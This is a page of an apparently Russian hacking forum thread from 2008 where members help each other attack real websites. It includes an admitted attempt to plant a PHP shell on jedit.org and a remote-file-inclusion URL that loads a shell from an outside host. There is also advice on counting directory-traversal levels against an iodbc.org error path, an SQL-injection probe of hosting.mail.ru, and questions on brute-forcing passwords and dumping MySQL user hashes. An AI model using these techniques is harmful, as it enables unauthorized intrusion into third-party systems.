Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
Page 75 of 1207
  1. Анжелика

    Анжелика Elder - Старейшина

    Joined:
    25 Mar 2008
    Messages:
    25
    Likes Received:
    36
    Reputations:
    -4
    во-первых php код при инклуде будет выполнятся с любым расширеним
    во-вторых дело тут не в экранировании нул-байта, а именно в проблеме доступа к удалённому хосту
     
    #1481 Анжелика, 1 Apr 2008
    Last edited: 1 Apr 2008
  2. Велемир

    Велемир Banned

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Эмм... и в чём же там дело Ж(. Что делать то:Р
     
    #1482 Велемир, 1 Apr 2008
  3. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    не надоело тебе сурсфордж ломать? я же сказал в прошлоых постах что там url access disabled + magic quotes on
     
    #1483 darky, 1 Apr 2008
  4. Велемир

    Велемир Banned

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    ))))))))))))))))))))))). лучшеб объяснил бы, где первое выставляется на серве :Р. А Через Post- запросы тоже чтоль никаг ? о_О...... * Ушёл весь раскрасневшийся*.
     
    #1484 Велемир, 1 Apr 2008
  5. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Я имел в виду не шелл-код а php-шелл:)
     
    #1485 d_x, 1 Apr 2008
    1 person likes this.
  6. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    urk access disabled выставляется в php.ini

    пример http://www.1gb.ru/phpinfo.php ищи строчку allow url open там написано on, значит разрешено. это распространяется на include fopen и все подобные файловые ф-ии которые умеют открывать файлы удаленно, тип запроса не играет роли
     
    #1486 darky, 1 Apr 2008
    1 person likes this.
  7. heks

    heks Banned

    Joined:
    24 Aug 2007
    Messages:
    713
    Likes Received:
    95
    Reputations:
    12
    наверное не urk а url ;)


    blackybr: ага, описался.
     
    #1487 heks, 1 Apr 2008
    Last edited by a moderator: 1 Apr 2008
    1 person likes this.
  8. Велемир

    Велемир Banned

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    ВаааЪ пасибки пиплы ^_______________^. Слышал тут про магические кавычки - иё обойти есь шанс о_О ? (Для будущиx восxождений:Р=
     
    #1488 Велемир, 1 Apr 2008
  9. Анжелика

    Анжелика Elder - Старейшина

    Joined:
    25 Mar 2008
    Messages:
    25
    Likes Received:
    36
    Reputations:
    -4
    http://site.com/index.php?page=http://site.ru/shell.php?
    или просто залей шелл с нужным раширением
     
    #1489 Анжелика, 1 Apr 2008
    1 person likes this.
  10. Велемир

    Велемир Banned

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Ясненько. Кстати , blackybr , Я пытался залить шелл на www.jedit.org, а не сурсфорджнет))
     
    #1490 Велемир, 1 Apr 2008
  11. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    он хостится на сурсфордже.

    jedit.sourceforge.net
    jedit.org
     
    #1491 darky, 1 Apr 2008
  12. Велемир

    Велемир Banned

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    ой....Надеюсь, ты меня простил))). И ещё я надеюсь,шо вы не против моих вопросов(пусь и тупых ну что поделаешь...дубина я такая( ). Вот есь сайт

    www.iodbc.org

    Глобальный инклуд не сделать, а знач и шелл не залить(.если передать кавычку,выдаст путь,и ошибку:

    http://www.iodbc.org/index.php?page=index

    Выдало вот:

    Oi!

    Please test index.php instead of index.html!

    Появились ещё вопросы:

    1. Как узнать, какой путь использывать, и к каким файлам( где достать).
    2.Как правильно обходить каталог ? подставляя всякие там ../ или ../../../

    Я понял,что ../ это переход на уровень выше, но как определить, сколько их там,и какие файлы запрашивать ? Ведь например ../../etc/pwd и ../../../../../etc/pwd не тоже самое ?))). Запутался я.............



    Warning: readfile(index.php.html) [function.readfile]: failed to open stream: No such file or directory in /dbs/iodbc/public_html/www.iodbc.org/index.php on line 138

    Даёт это что-то ?))

    Подставил без расширения существующий фаил index.php:
     
    #1492 Велемир, 1 Apr 2008
  13. Dr.Dre2

    Dr.Dre2 New Member

    Joined:
    31 Mar 2008
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Дело в том что перебирает 1 пароль и пишет ...due to unknown duration. От чего это может быть? В гайдах ничего не нашел.
     
    #1493 Dr.Dre2, 2 Apr 2008
  14. Велемир

    Велемир Banned

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    В связи с неизвестной продолжительностью - неправильно задал наверное перебор - мошь долго слишком. Напиши на 292-514-125 - разберэмся )
     
    #1494 Велемир, 2 Apr 2008
  15. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    Warning: readfile(index.php.html) [function.readfile]: failed to open stream: No such file or directory in /dbs/iodbc/public_html/www.iodbc.org/index.php on line 138

    ты в /dbs/iodbc/public_html/www.iodbc.org/

    четыре уровня, т.е. ../../../../ и ты в корне. правда тут мэджики.
     
    #1495 darky, 2 Apr 2008
  16. bag

    bag Elder - Старейшина

    Joined:
    6 Mar 2008
    Messages:
    116
    Likes Received:
    48
    Reputations:
    0
    иногда попадаются sql inc, где есть доступ к mysql.user,узер выводится рут,а пароль нет почему? пароли другиъ пользователей из mysql.user выводятся
     
    #1496 bag, 2 Apr 2008
  17. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Потому что руту забыли поставить пароль)
     
    #1497 krypt3r, 2 Apr 2008
  18. porter

    porter Banned

    Joined:
    1 Mar 2005
    Messages:
    58
    Likes Received:
    9
    Reputations:
    1
    Можно узнать, что это за ошибочка?

    http://hosting.mail.ru/select_domains_reg_period.jsp?domain='
     
    #1498 porter, 2 Apr 2008
  19. Lesnoy_chelovek

    Lesnoy_chelovek Elder - Старейшина

    Joined:
    6 Dec 2006
    Messages:
    224
    Likes Received:
    152
    Reputations:
    8
    porter, фильтр выдал пустое значение переменной, вот и ругается. Скулю туда прописать не удалось.
     
    #1499 Lesnoy_chelovek, 2 Apr 2008
    1 person likes this.
  20. Spaise

    Spaise Elder - Старейшина

    Joined:
    21 Mar 2008
    Messages:
    33
    Likes Received:
    5
    Reputations:
    0
    Здравствуйте, подскажите какими способами можно достать smtp сервер, не покупая хостинг. Искал в гугле бесплатные - ни одного рабочего...
     
    #1500 Spaise, 2 Apr 2008
(You must log in or sign up to post here.)
Page 75 of 1207
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.